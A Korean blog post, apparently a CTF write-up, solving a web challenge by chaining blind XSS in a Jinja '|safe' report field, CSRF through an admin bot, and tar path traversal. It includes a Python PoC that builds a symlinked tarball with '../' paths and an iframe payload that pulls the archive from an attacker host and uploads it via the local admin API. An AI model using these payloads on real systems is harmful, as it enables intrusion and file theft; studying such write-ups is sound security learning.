티스토리 뷰

728x90
반응형

문제 개요

CSRF with XSS to Directory Traversal with Zip Slipping Vulnerability

 

코드 분석

우선 flag.txt 파일이 / root 경로에 있기 때문에 이 내용을 확인하기 위해서 우선적으로 Directory Traversal 취약점을 탐색했습니다. 그리고 마차미 util.py 에 정의된 extract_firmware 라는 함수를 발견할 수 있었습니다.

def extract_firmware(file):
    tmp  = tempfile.gettempdir()
    path = os.path.join(tmp, file.filename)
    file.save(path)

    if tarfile.is_tarfile(path):
        tar = tarfile.open(path, 'r:gz')
        tar.extractall(tmp)

        rand_dir = generate(15)
        extractdir = f"{current_app.config['UPLOAD_FOLDER']}/{rand_dir}"
        os.makedirs(extractdir, exist_ok=True)
        for tarinfo in tar:
            name = tarinfo.name
            if tarinfo.isreg():
                try:
                    filename = f'{extractdir}/{name}'
                    os.rename(os.path.join(tmp, name), filename)
                    continue
                except:
                    pass
            os.makedirs(f'{extractdir}/{name}', exist_ok=True)
        tar.close()
        return True

    return False

위 코드에서는 tar 압축파일의 내용물을 압축풀기한 뒤 디렉토리 또는 파일을 생성하는 코드입니다. 그리고 이 때 format string 으로 extractdir 과 name 간에 문자열로 합치고 있기 때문에 file path traversal 취약점이 발생하는 것을 알 수 있습니다.

 

그리고 사용자가 firmware report 를 할 때 issue 에 input을 작성해서 서버에 존재하는 bot 에 전달하는 기능이 있습니다. 이 때 bot은 /review.html 파일을 렌더링받게 되는데 아래 코드를 보면 safe 태그가 존재하는 것을 볼 수 있습니다.

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Firmware bug reports</title>
    <link href="/static/css/bootstrap.min.css" rel="stylesheet" />
  </head>
  <body>
    <nav class="navbar navbar-default bg-dark justify-content-between">
      <a class="navbar-brand ps-3" href="#">Firmware bug reports</a>
      <ul class="navbar-nav mb-2 mb-lg-0 me-5">
        <li class="nav-item">
          <a class="nav-item active" href="#">Reports</a>
        </li>
        <li class="nav-item">
          <a class="nav-item" href="/logout">Logout</a>
        </li>
      </ul>
    </nav>
    <div class="container" style="margin-top: 20px"> {% for report in reports %} <div class="card">
        <div class="card-header"> Reported by : {{ report.reported_by }}
        </div>
        <div class="card-body">
        <p class="card-title">Module ID : {{ report.module_id }}</p>
          <p class="card-text">Issue : {{ report.issue | safe }} </p>
          <a href="#" class="btn btn-primary">Reply</a>
          <a href="#" class="btn btn-danger">Delete</a>
        </div>
      </div> {% endfor %} </div>
  </body>
</html>

jinja template engine 에서 safe 태그는 HTML 태그를 허용하겠다는 의미로써 XSS 공격이 가능함을 의미합니다. 다만 bot만이 실제 삽입된 script를 확인할 수 있으므로 Blind XSS 만 가능할 것입니다.

 

아래는 bot 이 방문할 때 사용되는 selenium 코드입니다. 관리자 계정으로 로그인 후 바로 /review 경로에 접근하는 것을 볼 수 있습니다.

def visit_report():
    chrome_options = webdriver.ChromeOptions()
    chrome_options.add_argument('--headless')
    # 생략

    client = webdriver.Chrome(chrome_options=chrome_options)
    client.set_page_load_timeout(5)
    client.set_script_timeout(5)

    client.get('http://localhost:1337/')

    username = client.find_element_by_id('username')
    password = client.find_element_by_id('password')
    login = client.find_element_by_id('login-btn')

    username.send_keys(current_app.config['ADMIN_USERNAME'])
    password.send_keys(current_app.config['ADMIN_PASSWORD'])
    login.click()
    time.sleep(3)

    client.get('http://localhost:1337/review')

    time.sleep(3)
    client.quit()

 

아까 위에서 말한 flag를 획득하기 위한 유일한 방법이자 통로인 extract_firmware 함수는 /firmware/upload 경로에서 호출됩니다. 다만 이는 아래 코드를 보면 알겠지만 admin 즉 localhost 에 위치한 bot 만이 실행할 수 있다고 합니다. 이는 XSS를 사용한 CSRF 공격이 필요하다는 것을 알게 해줍니다.

@api.route('/firmware/upload', methods=['POST'])
@login_required
@is_admin
def firmware_update():
    if 'file' not in request.files:
        return response('Missing required parameters!'), 401

    extraction = extract_firmware(request.files['file'])
    if extraction:
        return response('Firmware update initialized successfully.')

    return response('Something went wrong, please try again!'), 403

 

is_admin 함수는 아래와 같이 세션 값이 admin 이어야 하고 IP 주소가 127.0.0.1 이어야 한다고 합니다.

def is_admin(f):
    @functools.wraps(f)
    def wrap(*args, **kwargs):
        if current_user.username == current_app.config['ADMIN_USERNAME'] and request.remote_addr == '127.0.0.1':
            return f(*args, **kwargs)
        else:
            return abort(401)

    return wrap

 

그럼 이제 위에서 파악한 취약점들로 flag.txt 파일의 내용을 얻기 위한 시나리오를 정리해보면 아래와 같습니다.

1. 공격자는 관리자에게 XSS를 통해서 CSRF 공격을 시도한다.

2. 관리자는 악성 tar 파일을 공격자로부터 다운받고, 이를 즉시 업로드 API를 통해서 업로드한다.

3. 서버는 업로드된 tar 파일을 압축풀게 되고 삽입된 악성 페이로드가 실행되어 공격자가 원하는 것을 이루게 한다.

문제 풀이

우선 extract_firmware 함수를 통해서 소스코드 파일을 업로드하여 서버의 소스코드를 변경할 수는 있지만, 문제는 소스 변경이 있을 때마다 서버 프로그램이 재시작되는 설정이 되어 있지않아 해당 방법은 유효하지 않다는 것입니다. 그래서 다른 방법을 사용해야 했는데, 바로 tar 파일에 압축할 파일을 symbolic link 해서 root 경로에 있는 flag.txt 파일의 내용을 가져오게 하는 것이었습니다. 이에 대한 tar 파일을 만들 때 사용한 poc 코드는 아래와 같습니다.

import os, tarfile

os.symlink('/flag.txt', 'flag.txt')

f = tarfile.open('domdomi.tar.gz', 'w:gz')
f.add('flag.txt', arcname='../../../../../../../app/application/static/flag.txt')
f.close()

몇 개의 상위 경로에 root 경로가 있는지는 모르겠지만 최대한 많이 올라가서 최상위 경로 바로 밑에 있는 app 경로의 static 경로에 flag.txt 파일을 생성하는 것을 목표로 하였고, flag.txt 파일을 /flag.txt 파일의 심볼릭 링크를 걸었습니다.

 

이제 파일 업로드를 위한 XSS 페이로드 작성을 해보겠습니다.

<iframe src="javascript:fetch('http://domdomi.server.com/domdomi.tar.gz').then(t=>t.arrayBuffer()).then(t=>{var e=new Blob([t],{type:'application/gzip'}),a=new FormData;a.append('file',e,'domdomi.tar.gz'),fetch('http://localhost:1337/api/firmware/upload',{method:'POST',body:a})});">

 

iframe 태그를 이용해서 javascript를 실행하도록 하였고, 공격자의 서버에서 domdomi.tar.gz 파일을 다운로드 한 뒤 이를 타겟 서버에 업로드하도록 하는 페이로드입니다. 그리고 물론 공격자의 서버에는 cors 오류가 나지 않도록 Access-Control-Allow-Origin 설정은 모든 도메인으로 허용해준 상태입니다.

 

이제 전송 버튼을 누르면 아래와 같이 Issue 가 성공적으로 리포트 되었다고 나오고, 실제 문제에서는 /static/flag.txt 경로로 요청했을 때 flag 내용이 flag.txt 파일에 잘 들어가있는 것을 확인할 수 있었습니다.

 

마무리

이번 문제는 예전에 Hackthebox 에서 Slippy 라는 문제를 풀었던 기억이 있는데, 해당 문제랑 유사해서 비교적 풀기 수월했던 것 같습니다. 아래 링크에서 참고하시면 되겠습니다.

https://domdom.tistory.com/entry/Hackthebox-Slippy-Writeup%EB%AC%B8%EC%A0%9C%ED%92%80%EC%9D%B4

 

[Hackthebox] - Slippy Writeup(문제풀이)

문제 요약 tarfile 의 path-like object 를 이용한 path traversal 으로 server’s file overwrite (RCE) 문제 개요 첫 화면은 위와 같이 파일업로드 기능 외에는 별 다른 기능이 존재하지 않습니다. 제공된 소스..

domdom.tistory.com

 

참고로 위 문제 풀이는 문제 출제자가 의도한 문제풀이가 아니라고 하네요. 그래서 Web Challenge 문제로 올라온 것은 해당 부분에 대해서 보완이 되어져서 나온 것 같습니다. 나중에 정식으로 다시 풀어보도록 해야겠습니다.

728x90
반응형
댓글